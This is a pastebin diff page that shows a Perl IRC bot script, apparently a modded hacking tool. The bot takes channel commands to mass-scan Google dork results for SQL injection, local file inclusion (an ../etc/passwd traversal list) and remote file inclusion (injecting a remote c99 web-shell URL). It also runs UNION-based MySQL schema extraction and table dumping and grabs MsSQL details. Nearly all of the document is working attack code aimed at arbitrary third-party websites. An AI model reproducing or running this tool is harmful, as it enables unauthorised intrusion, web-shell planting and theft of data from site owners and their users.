View difference between Paste ID: MLY4BhdN and 2CzqPg7r
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/perl
2
#
3
# OOO  OOO                 OO   OO              OO
4
#  OO   O                        O       O               O
5
#  O O  O  OO  OO        O       O              O O   OO OOO   OOOO     OOOOO
6
#  O  O O   O   O        O       O              OOO     OO       OOOOOO    O
7
#  O   OO   O   O        O       O         O   O   O      O        OOOOOO
8
# OOO  OO   OOOOO   OOOOO OOOOO OOO OOO OOOOO   OOOOO  OOOO OO
9
################################################################################
10
################################################
11
#                                                                                                Re-Mod by .bL4ck0ut
12
################################################################################
13
################################################
14
# [+] What's New in this version ?
15
# 1/ RFI Vulnerable Scanner
16
# 2/ LFI Vulnerable Scanner
17
# 3/ an msg when scan finish
18
# 4/ msg appear once banned from google search
19
################################################################################
20
################################################
21
# [+] About   :
22
################################################################################
23
################################################
24
# Language : PERL
25
# Coder : Nyx-
26
################################################################################
27
################################################
28
# [+] Usage   :
29
################################################################################
30
################################################
31
#   ------------ You Must Change BOT Config First Of ALL
32
#   ------------ Bot Commands :
33
#--   !md5 <word>                                                               => make an md5 hash
34
#--   !md5crack <hash>                                             => crack md5 hashes
35
#--   !base64 <word>                                                     => encode with base64
36
#--   !basedecode <text to decode>                         => decode base64 text
37
#--   !lastsploits                                                         => to get lastest sploits from milw0rm
38
#-------------------------------------{ SQL INJECTION FUNCTIONS  }-----------------------------------------
39
#--   !col  <vuln>                                                         => calculate number of columns in a sql vulnerable
40
#--   !det <vuln>        *                                                => MySQL DB Details (version , user ,db , dir )
41
#--   !schema <vuln>  *                                           => Extract all (DB's , Tables , Columns) names
42
#--   !dump <vuln>      *                                                 => Dump Data from a column & table
43
#--   !ms <vuln>                                                                 => Get MsSQL DB Details
44
#  ===>>>  * you must enter vuln this way http://target.com/page.php?id=0+union+select+1,nullarea,2,3
45
#-------------------------------------{ Vulnerability scan FUNCTIONS  }-----------------------------------------
46
#--   !sqlscan <dork>                                                   => fetch url's from google and check if sql vuln or not
47
#--   !rfiscan <dork>                                                   => fetch url's from google and check if rfi vuln or not
48
#--   !lfiscan <dork>                                                   => fetch url's from google and check if lfi vuln or not
49
################################################################################
50
################################################
51
# [+] Contact :                                                                                                                                    
52
################################################################################
53
################################################
54
# E-Mail Address  : Admin[AT]Zero-Gamerz[DOT]Net                   
55
# Home Page        : http://r00tsecurity.org                                                                                                                                       
56
################################################################################
57
################################################
58
# [+] Greetz :Visi0n
59
################################################################################
60
################################################
61
62
# Special Thanks For All of : r00tsecurity                                                                                                               
63
################################################################################
64
################################################
65
                                                                                                           
66
################################################################################
67
################################################
68
69
70
use IO::Socket::INET;
71
use LWP::UserAgent;
72
use LWP::Simple;
73
use XML::Simple;
74
use Digest::MD5 qw(md5_hex);
75
use MIME::Base64;
76
################################################################################
77
############
78
my $server   = "irc.yourserver.org";   # IRC Server
79
my $port         = "6667";                               # IRC Server port
80
my $nick         = "SQLi";                            # Bot Nick
81
my $channel  = "#yourchannel";                  # Channel to Join
82
my $name         = "SQLi";
83
my $phpshell = "http://w7ed.by.ru/c99.txt";  #your phpshell link for RFI scan
84
################################################################################
85
############
86
system('cls');
87
print "\n\n\n\n OOO  OOO                   OO   OO              OO\n";
88
print "  OO   O                  O       O               O\n";
89
print "  O O  O  OO  OO  O       O              O O   OO OOO   OOOO     OOOOO\n";
90
print "  O  O O   O   O  O       O              OOO     OO       OOOOOO    O\n";
91
print "  O   OO   O   O  O       O         O   O   O      O        OOOOOO\n";
92
print " OOO  OO   OOOOO   OOOOO OOOOO   OOO OOO OOOOO   OOOOO  OOOO OO\n";
93
print " \n\n                                                                                                    AlpHaNiX IRC BOT V1 \n\n";
94
print "\n [+] Connection To $server ....\n";
95
################################################################################
96
############
97
$connection = IO::Socket::INET->new(PeerAddr=>"$server",
98
                                                                 PeerPort=>"$port",
99
                                                                 Proto=>'tcp',
100
                                                                 Timeout=>'30') or die " [!] Couldnt Connect To $server\n";
101
print " [+] Connected  To $server ....\n\n";
102
################################################################################
103
############                              
104
print $connection "USER $name\n";
105
print $connection "NICK $nick\r\n";
106
################################################################################
107
############
108
while($response = <$connection>)
109
{
110
         print $response;  #print IRC Response
111
         if($response =~ m/:(.*) 00(.*) (.*) :/){print $connection "JOIN $channel\r\n";}  #-------Join Channel
112
        if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!help/){&help;}                            #-------Print Help 
113
        if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!md5 (.*)$/){&md5encode;}                #------- md5encoder
114
         if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!md5crack (.*)$/){&md5cracker;}  #-------md5cracker
115
        if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!base64 (.*)$/){&base64;}                #-------base64 encoder
116
        if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!basedecode (.*)$/){&basedecode;}#-------base64decoder
117
         if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!iplocation (.*)$/){&iplocation;}#-------ip locator
118
        if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!lastsploits/){&milw0rm;}                #-------last sploits
119
         if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!sqlscan (.*)$/){&sqlscan;}       #-------SQLi scanner
120
         if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!lfiscan (.*)$/){&lfiscan;}       #-------LFI Scanner
121
         if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!rfiscan (.*)$/){&rfiscan;}       #-------RFI Scanner
122
         if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!col (.*)$/){&colcount;}                 #-------column counter
123
         if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!det (.*)$/){&mysqldet;}                 #-------details grabber
124
        if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!schema (.*)$/){&schema;}                #-------schema extractor 
125
        if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!dump (.*)-(.*)-(.*)$/){&mysqldumper}#-------data dumper
126
         if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!ms (.*)$/){&mssqldet}             #-------mssql details grabber
127
        if($response =~ m/^PING (.*?)$/gi){print $connection "PONG ".$1."\r\n";}                 #-------ping reponse
128
}
129
################################################################################
130
############
131
sub help
132
{
133
        print $connection "PRIVMSG $channel :8,1 AlpHaNiX IRC BOT V1.5 Help : \r\n";
134
        print $connection "PRIVMSG $channel :8,1                                                       \r\n";
135
        print $connection "PRIVMSG $channel :4,1 --------------== Encoding Services ==--------------\r\n";
136
        print $connection "PRIVMSG $channel :9,1 To Generate an  MD5 Hash => : 11,1  !md5 word                  \r\n";
137
        print $connection "PRIVMSG $channel :9,1 To Crack an MD5 Hash   => : 11,1  !md5crack Hash      \r\n";
138
        print $connection "PRIVMSG $channel :9,1 To Encode with Base64 => : 11,1  !base64 word           \r\n";
139
        print $connection "PRIVMSG $channel :9,1 To Decode Base64               => : 11,1  !basedecode base64 \r\n";
140
        print $connection "PRIVMSG $channel :4,1 ----------------== Other Services ==---------------\r\n";
141
        print $connection "PRIVMSG $channel :9,1 Check IP Location             => : 11,1  !iplocation ip       \r\n";
142
        print $connection "PRIVMSG $channel :9,1 Get lastest Sploits     => : 11,1  !lastsploits         \r\n";
143
        print $connection "PRIVMSG $channel :4,1 ----------------== SQL Injection ==----------------\r\n"; 
144
        print $connection "PRIVMSG $channel :9,1 MySQL Column Count       => : 11,1  !col target              \r\n";   
145
        print $connection "PRIVMSG $channel :9,1 MySQL DB Details               => : 11,1  !det target                \r\n";   
146
        print $connection "PRIVMSG $channel :9,1 MySQL Schema Extractor   => : 11,1  !schema target    \r\n";   
147
        print $connection "PRIVMSG $channel :9,1 MySQL Data Dumper             => : 11,1  !dump target           \r\n";   
148
        print $connection "PRIVMSG $channel :9,1 MsSQL Details                 => : 11,1  !ms target           \r\n";   
149
        print $connection "PRIVMSG $channel :4,1 ------------== Vulnerablitys Scanner ==------------\r\n";
150
        print $connection "PRIVMSG $channel :9,1 SQL Vuln Scanner               => : 11,1  !sqlscan dork        \r\n";          
151
        print $connection "PRIVMSG $channel :9,1 LFI Vuln Scanner               => : 11,1  !lfiscan dork        \r\n";          
152
        print $connection "PRIVMSG $channel :9,1 RFI Vuln Scanner               => : 11,1  !rfiscan dork        \r\n";                  
153
}
154
################################################################################
155
############
156
sub md5encode
157
{
158
        my $md5_hash = $3;
159
        my $asker = $1;
160
        my $md5_generated = md5_hex($md5_hash);
161
        print $connection "PRIVMSG $channel :4$asker , done =>6 $md5_generated\r\n";
162
}
163
################################################################################
164
############
165
sub md5cracker
166
{
167
         my $asker = $1;
168
        my $hash = $3;
169
                if (length($hash) != 33)
170
                   {
171
                          print $connection "PRIVMSG $channel :Not Valid MD5 Hash !\r\n";
172
                  }
173
                else
174
                   {
175
                                my $ua = LWP::UserAgent->new();
176
                                my $contents = $ua->get('http://md5.rednoize.com/?p&s=md5&q='.$hash);
177
                                my $cracked = $contents->content;
178
                                        if ($cracked)
179
                                        {
180
                                                  print $connection "PRIVMSG $channel :4$asker Cracked ! =>6 $cracked\r\n";
181
                                        }
182
                                        else
183
                                                   {
184
                                           print $connection "PRIVMSG $channel :4$asker,6 Not Found !\r\n";
185
                                   }
186
                        }
187
}
188
################################################################################
189
############
190
sub base64
191
{
192
        my $base64 = $3;
193
         my $asker = $1;
194
        my $base64_encoded = encode_base64($base64);
195
        print $connection "PRIVMSG $channel :4$asker,6 Encoded => $base64_encoded\r\n";
196
}
197
################################################################################
198
############
199
sub basedecode
200
{
201
         my $base64d = $3;
202
        my $asker = $1;
203
         my $base64_decoded = decode_base64($base64d);
204
         print $connection "PRIVMSG $channel :4$asker,6 Decoded => $base64_decoded\r\n";
205
}
206
################################################################################
207
############
208
sub iplocation
209
{
210
        my $asker = $1;
211
        my $ip = $3;
212
                if (length($ip) > 17)
213
                   {
214
                           print $connection "PRIVMSG $channel :6Not Real IP !\r\n";
215
                  }
216
                else
217
                   {
218
                                my $ua = LWP::UserAgent->new();
219
                                my $contents = $ua->get('http://www.melissadata.com/lookups/iplocation.asp?ipaddress='.$ip);
220
                                my $found = $contents->content;
221
                                        if ($found =~ /<tr><td align="right">Country<\/td><td><b>(.*)<\/b><\/td><\/tr>/)
222
                                                {
223
                                                print $connection "PRIVMSG $channel :4$asker , The IP Location =>6 $1\r\n";
224
                                        }
225
                                         else
226
                                         {
227
                                                 print $connection "PRIVMSG $channel :6Not Real IP !\r\n";
228
                                        }
229
                        }
230
}
231
################################################################################
232
############
233
sub milw0rm
234
{
235
         my $rss = get('http://milw0rm.com/rss.php');
236
         my $xml = XMLin($rss);
237
         my $spl = scalar(@{$xml->{channel}->{item}});
238
                 for ($i=0; $i<$spl; $i++)
239
                         {
240
                                print $connection "PRIVMSG $channel :4\n";
241
                                 print $connection "PRIVMSG $channel :6Date : $xml->{channel}->{item}->[$i]->{pubDate}\n";
242
                                 print $connection "PRIVMSG $channel :6Title: $xml->{channel}->{item}->[$i]->{title}\n";
243
                                 print $connection "PRIVMSG $channel :6Link : $xml->{channel}->{item}->[$i]->{link}\n\n";
244
                         }
245
}
246
################################################################################
247
############
248
sub sqlscan
249
{
250
         my $asker = $1;
251
        my $dork  = $3;
252
        print $connection "PRIVMSG $channel :4$asker 12[+] SQL Vulnerable Scan Started ....\r\n";
253
        print $connection "PRIVMSG $channel :4$asker 12[+] Dork : $dork ....\r\n";
254
        my $google   = "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=";
255
        #----
256
        my $request   = HTTP::Request->new(GET=>"$google"."$i");
257
         my $useragent = LWP::UserAgent->new(agent => 'Firefox 3.0.9');
258
         my $response  = $useragent->request($request);
259
         my $con = $response->content;
260
                if ($con =~ m/restore your access as quickly as possible, so try again soon. In the meantime, if you suspect that your computer or network has been infected/i)
261
                  { print $connection "PRIVMSG $channel :4$asker 12[!] Banned From Google Search !!\r\n"; }
262
                else
263
           {
264
                         for ($i=0;$i<200;$i=$i+10)
265
                                 {
266
                                         my $request   = HTTP::Request->new(GET=>"$google"."$i");
267
                                         my $useragent = LWP::UserAgent->new(agent => 'Mozilla 5.2');
268
                                         my $response  = $useragent->request($request);
269
                                         my $con = $response->content;
270
                                         my $start='class=r><a href=\"';
271
                                         my $end= '" class=l>';
272
                                                 while ( $con =~ m/$start(.*?)$end/g )
273
                                                         {
274
                                                                my $fl   = $1;
275
                                                           my $link   = $fl.'0+order+by+9999999--';
276
                                                          print $connection "PRIVMSG $channel :4$asker 12[!] Trying To Fuzz6 $1\r\n";
277
                                                          my $ua         = LWP::UserAgent->new();
278
                                                          my $req       = $ua->get($link);
279
                                                          my $result = $req->content;
280
                                                                  if ($result=~ m/You have an error in your SQL syntax/i || $result=~ m/Query failed/i || $result=~ m/SQL query failed/i || $result=~ m/mysql_fetch_/i || $result=~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i )
281
                                                                         {print $connection "PRIVMSG $channel :4$asker 12[!] Possible MySQL Vulnerable Website ->6 $fl\r\n";}
282
                                                                 elsif ($result=~ m/ODBC SQL Server Driver/i || $result=~ m/Unclosed quotation mark/i || $result=~ m/Microsoft OLE DB Provider for/i )
283
                                                                         {print $connection "PRIVMSG $channel :4$asker 12[!] Possible MsSQL Vulnerable Website ->6 $fl\r\n";}
284
                                                                 elsif ($result=~ m/Microsoft JET Database/i || $result=~ m/ODBC Microsoft Access Driver/i )
285
                                                                         {print $connection "PRIVMSG $channel :4$asker 12[!] Possible MS Access Vulnerable Website ->6 $fl\r\n";}
286
                                                         }
287
                                 }
288
                         print $connection "PRIVMSG $channel :4$asker 12[!] SQL Scan Finished !\r\n";                 
289
                 }
290
}
291
################################################################################
292
############
293
sub lfiscan
294
{
295
         my $asker = $1;
296
        my $dork  = $3;
297
        print $connection "PRIVMSG $channel :4$asker 12[+] LFI Vulnerable Scan Started ....\r\n";
298
        print $connection "PRIVMSG $channel :4$asker 12[+] Dork : $dork ....\r\n";
299
        my $google   = "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=";
300
         @LFI = ('../etc/passwd',
301
         '../../etc/passwd',
302
         '../../../etc/passwd',
303
         '../../../../etc/passwd',
304
         '../../../../../etc/passwd',
305
         '../../../../../../etc/passwd',
306
         '../../../../../../../etc/passwd',
307
         '../../../../../../../../etc/passwd',
308
         '../../../../../../../../../etc/passwd',
309
         '../../../../../../../../../../etc/passwd',
310
         '../../../../../../../../../../../etc/passwd',
311
         '../../../../../../../../../../../../etc/passwd',
312
         '../../../../../../../../../../../../../etc/passwd',
313
         '../../../../../../../../../../../../../../etc/passwd',);
314
        my $request   = HTTP::Request->new(GET=>"$google"."$i");
315
         my $useragent = LWP::UserAgent->new(agent => 'Mozilla 5.2');
316
         my $response  = $useragent->request($request);
317
         my $con = $response->content;
318
                if ($con =~ m/restore your access as quickly as possible, so try again soon. In the meantime, if you suspect that your computer or network has been infected/i)
319
                  { print $connection "PRIVMSG $channel :4$asker 12[!] Banned From Google Search !!\r\n"; }
320
                else
321
           {
322
                 for ($i=0;$i<200;$i=$i+10)
323
                         {
324
                                 my $start='class=r><a href=\"';
325
                                 my $end= '" class=l>';
326
                                         while ( $con =~ m/$start(.*?)$end/g )
327
                                                 {
328
                                           print $connection "PRIVMSG $channel :4$asker 12[!] Trying To Fuzz6 $1\r\n";
329
                                                   for ($j;$j<=14;$j++)
330
                                                          {
331
                                                                                my $fl   = $1;
332
                                                                           my $link   = $fl.$LFI[$j];
333
                                                                          my $ua         = LWP::UserAgent->new();
334
                                                                          my $req       = $ua->get($link);
335
                                                                          my $result = $req->content;
336
                                                                                  if ($result=~ m/root:x:/i)
337
                                                                                         {print $connection "PRIVMSG $channel :4$asker 12[!] Possible LFI Vulnerable Website ->6 $fl\r\n";}
338
                                                         }
339
                                                 }
340
                         }
341
                 print $connection "PRIVMSG $channel :4$asker 12[!] LFI Scan Finished !\r\n";          
342
                 }   
343
}
344
################################################################################
345
############
346
sub rfiscan
347
{
348
         my $asker = $1;
349
        my $dork  = $3;
350
        print $connection "PRIVMSG $channel :4$asker 12[+] RFI Vulnerable Scan Started ....\r\n";
351
        print $connection "PRIVMSG $channel :4$asker 12[+] Dork : $dork ....\r\n";
352
        my $google   = "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=";
353
        #----
354
        my $request   = HTTP::Request->new(GET=>"$google"."$i");
355
         my $useragent = LWP::UserAgent->new(agent => 'Mozilla 5.2');
356
         my $response  = $useragent->request($request);
357
         my $con = $response->content;
358
                if ($con =~ m/restore your access as quickly as possible, so try again soon. In the meantime, if you suspect that your computer or network has been infected/i)
359
                  { print $connection "PRIVMSG $channel :4$asker 12[!] Banned From Google Search !!\r\n"; }
360
                else
361
           {
362
                 for ($i=0;$i<200;$i=$i+10)
363
                         {
364
                                 my $start='class=r><a href=\"';
365
                                 my $end= '" class=l>';
366
                                         while ( $con =~ m/$start(.*?)$end/g )
367
                                                 {
368
                                           print $connection "PRIVMSG $channel :4$asker 12[!] Trying To Fuzz6 $1\r\n";
369
                                                        my $fl   = $1;
370
                                                   my $link   = $fl.$phpshell.'??';
371
                                                  my $ua         = LWP::UserAgent->new();
372
                                                  my $req       = $ua->get($link);
373
                                                  my $result = $req->content;
374
                                                          if ($result=~ m/uid=/i)
375
                                                                 {print $connection "PRIVMSG $channel :4$asker 12[!] Possible RFI Vulnerable Website ->6 $fl\r\n";}
376
                                                 }
377
                         }
378
                 print $connection "PRIVMSG $channel :4$asker 12[!] RFI Scan Finished !\r\n";          
379
                 }
380
}
381
################################################################################
382
############
383
sub colcount
384
{
385
         my $asker = $1;
386
         print $connection "PRIVMSG $channel :4$asker 12[+] Column Counting Started , Please Wait ....\r\n";
387
         my $site = $3;
388
         my $null = "09+and+1=";
389
         my $code = "0+union+select+";
390
         my $add = "+";
391
         my $com = "--";
392
         my $injection = $site.$null.$code."0",$com;
393
                 my $request   = HTTP::Request->new(GET=>$injection);
394
                 my $useragent = LWP::UserAgent->new();
395
                 my $response  = $useragent->request($request);
396
                 my $result   = $response->content;
397
                         if( $result =~ /You have an error in your SQL syntax/ || $result=~/Query failed/ || $result=~/SQL query failed/ || $result=~ /mysql_fetch_/ || $result=~ /mysql_fetch_array/ || $result =~ /mysql_num_rows/ || $result =~ /The used SELECT statements have a different number of columns/)
398
                                 {
399
                                         print $connection "PRIVMSG $channel :4$asker 12[+] This Website Is Vulnerable\n";
400
                                        print $connection "PRIVMSG $channel :4$asker 12[+] Working On It\n";
401
                                 }
402
                         else
403
                                 {
404
                                        print $connection "PRIVMSG $channel :4$asker 10[!] This WebSite Is Not SQL Vulnerable !\n\n";
405
                                 }
406
                                           for ($i = 0; $i < 50; $i ++)
407
                                                         {
408
                                                          $col.=','.$i;
409
                                                          $specialword.=','."0x617a38387069783030713938";
410
                                                                  if ($i == 0)
411
                                                                          {
412
                                                                                 $specialword = '';
413
                                                                                 $col = '';
414
                                                                          }
415
                                                           $sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com;
416
                                                my $ua = LWP::UserAgent->new();
417
                                                my $res = $ua->get($sql);
418
                                                           $response=$res->content;
419
                                                                 if($response =~ /az88pix00q98/)
420
                                                                          {
421
                                                                                 $i ++;
422
                                                                                 print $connection "PRIVMSG $channel :4$asker 12[+] This Injection Have6 $i 12Columns\n";
423
                                                                         }   
424
                                                         }
425
}
426
################################################################################
427
############
428
sub mysqldet
429
{
430
         my $asker       = $1;
431
         my $site         = $3;   
432
         my $selection = "concat(0x617a38387069783030713938,version(),0x617a38387069783030713938,database(),0x617a38387069783030713938,user(),0x617a38387069783030713938,\@\@datadir,0x617a38387069783030713938)";
433
         print $connection "PRIVMSG $channel :4$asker 12[+] Info Getting, Started Please Wait ....\r\n";
434
           if ($site =~ /(.*)NullArea(.*)/i)
435
                         {
436
                                 $newlink = $1.$selection.$2.'--';
437
                                 my $ua = LWP::UserAgent->new();
438
                                my $request = $ua->get($newlink);
439
                                my $content = $request->content;
440
                                         if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/)
441
                                                 {
442
                                           print $connection "PRIVMSG $channel :4$asker 12[+] Database Version  :6 $1\r\n";
443
                                                         print $connection "PRIVMSG $channel :4$asker 12[+] Database Name      :6 $2\r\n";                              
444
                                                         print $connection "PRIVMSG $channel :4$asker 12[+] DB UserName          :6 $3\r\n";                            
445
                                                         print $connection "PRIVMSG $channel :4$asker 12[+] Databse Dir          :6 $4\r\n";                            
446
                                   }
447
                                  else
448
                                        {
449
                                           print $connection "PRIVMSG $channel :4$asker 12[!] Failed\r\n";
450
                                   }
451
                  }
452
           else
453
                   {
454
                          print $connection "PRIVMSG $channel :4$asker 12[!] Please Enter the target this way :6 http://target.net/page.php?id=0+union+select+1,2,nullarea,3\r\n";   
455
                  }
456
}
457
################################################################################
458
############
459
sub schema
460
{
461
         my $asker       = $1;
462
         my $site         = $3;
463
         my $selection = "concat(0x617a38387069783030713938,table_name,0x617a38387069783030713938,column_name
464
,0x617a38387069783030713938,table_schema,0x617a38387069783030713938)";
465
                 if ($site =~ /(.*)NullArea(.*)/i)
466
                   {
467
                   print $connection "PRIVMSG $channel :4$asker 12[+] 6Table 12:|: 6Column 12:|: 6Database\r\n";
468
                         for ($i ;  $i<=1500; $i++ )
469
                          {
470
                                $newstring = $1.$selection.$2.'+'.'from'.'+'.'information_schema.columns'.'+'.'LIMIT'.'+'.$i.','.'1'.'--';
471
                                 my $ua = LWP::UserAgent->new();
472
                                my $request = $ua->get($newstring);
473
                                my $content = $request->content;
474
                                         if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/)
475
                                                 {
476
                                           print $connection "PRIVMSG $channel :4$asker 12[!] 6$1 12:|: 6$2 12:|: 6$3 \r\n";
477
                                        }
478
                         }
479
                   }
480
                 else
481
                   {
482
                                 print $connection "PRIVMSG $channel :4$asker 12[!] Please Enter the target this way :6 http://target.net/page.php?id=0+union+select+1,2,nullarea,3\r\n";   
483
                   }
484
}
485
################################################################################
486
############
487
sub mysqldumper
488
{
489
         my $asker       = $1;
490
         my $site         = $3;
491
        my $table        = $5;
492
        my $selection = "concat(0x617a38387069783030713938,$4,0x617a38387069783030713938)";
493
                 if ($site =~ /(.*)NullArea(.*)/i)
494
                   {
495
                   print $connection "PRIVMSG $channel :4$asker 12[+] 6 DATA\r\n";
496
                         for ($i ;  $i<=1500; $i++ )
497
                          {
498
                                $newstring = $1.$selection.$2.'+'.'from'.'+'.$table.'+'.'LIMIT'.'+'.$i.','.'1'.'--';
499
                                 my $ua = LWP::UserAgent->new();
500
                                my $request = $ua->get($newstring);
501
                                my $content = $request->content;
502
                                 if ($content =~ /az88pix00q98(.*)az88pix00q98/)
503
                                                 {
504
                                           print $connection "PRIVMSG $channel :4$asker 12[!] 6 $1\r\n";
505
                                        }
506
                         }
507
                   }
508
                 else
509
                   {
510
                                 print $connection "PRIVMSG $channel :4$asker 12[!] Please Enter the target this way :6 http://target.net/page.php?id=0+union+select+1,2,nullarea,3-column_name-table_name\r\n";   
511
                   }
512
}
513
################################################################################
514
############
515
sub mssqldet
516
{
517
         my $asker = $1;
518
        print $connection "PRIVMSG $channel :4$asker 12[+] Getting Infos Started , Please Wait ....\r\n";
519
         my $target = $3;
520
         print "\n[+] Working On $target";
521
         my $version = 'convert(int,(select+@@version));--';
522
         my $system_user = 'convert(int,(select+system_user));--';
523
         my $db_name = 'convert(int,(select+db_name()));--';
524
         my $servername = 'convert(int,(select+@@servername));--';
525
         my $hostname = 'convert(int,(select+Host_Name()));--';
526
         my $site = $target;
527
                 my $injection = $site.$version;
528
                 my $request   = HTTP::Request->new(GET=>$injection);
529
                 my $useragent = LWP::UserAgent->new();
530
                 my $response  = $useragent->request($request)->as_string;
531
                         if ($response =~ /.*?value\s'/)
532
                                 {
533
                                        print $connection "PRIVMSG $channel :4$asker 12[+] This Website Is SQL Vulnerable ..\r\n";
534
                                        print $connection "PRIVMSG $channel :4$asker 12[+] Working On It ..\r\n";
535
   
536
                                          $ver = $1 if ($response =~ /.*?value\s'(.*?)'\sto.*/sm);
537
538
                                                print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL Version Is           : 6$ver\r\n";
539
   
540
                                                        my $injection = $site.$system_user;
541
                                                         my $request   = HTTP::Request->new(GET=>$injection);
542
                                                         my $useragent = LWP::UserAgent->new();
543
                                                         $useragent->timeout(10);
544
                                                         my $response  = $useragent->request($request)->as_string;
545
                                                        $system_user = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
546
                                                         print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL System_User Is      : 6$system_user\r\n";
547
548
                                                                         my $injection = $site.$db_name;
549
                                                                         my $request   = HTTP::Request->new(GET=>$injection);
550
                                                                         my $useragent = LWP::UserAgent->new();
551
                                                                         $useragent->timeout(10);
552
                                                                         my $response  = $useragent->request($request)->as_string;
553
                                                                        $db_name = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
554
                                                                         print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL Database Name Is  : 6$db_name\r\n";        
555
          
556
                                                                                        my $injection = $site.$servername;
557
                                                                                         my $request   = HTTP::Request->new(GET=>$injection);
558
                                                                                         my $useragent = LWP::UserAgent->new();
559
                                                                                         $useragent->timeout(10);
560
                                                                                         my $response  = $useragent->request($request)->as_string;
561
                                                                                        $servername = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
562
                                                                                         print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL Server Name Is      : 6$servername\r\n";
563
                                  
564
                                                                                                           my $injection = $site.$hostname;
565
                                                                                         my $request   = HTTP::Request->new(GET=>$injection);
566
                                                                                                         my $useragent = LWP::UserAgent->new();
567
                                                                                                         $useragent->timeout(10);
568
                                                                                                         my $response  = $useragent->request($request)->as_string;
569
                                                                                                        $hostnames = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
570
                                                                                                         print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL HostName Is    : 6$hostnames\r\n";
571
                                 }
572
                        else
573
                                 {
574
                                        print $connection "PRIVMSG $channel :4$asker 10[!] This Website Is Not SQL Vulnerable !\r\n";
575
                                 }
576
}
577
################################################################################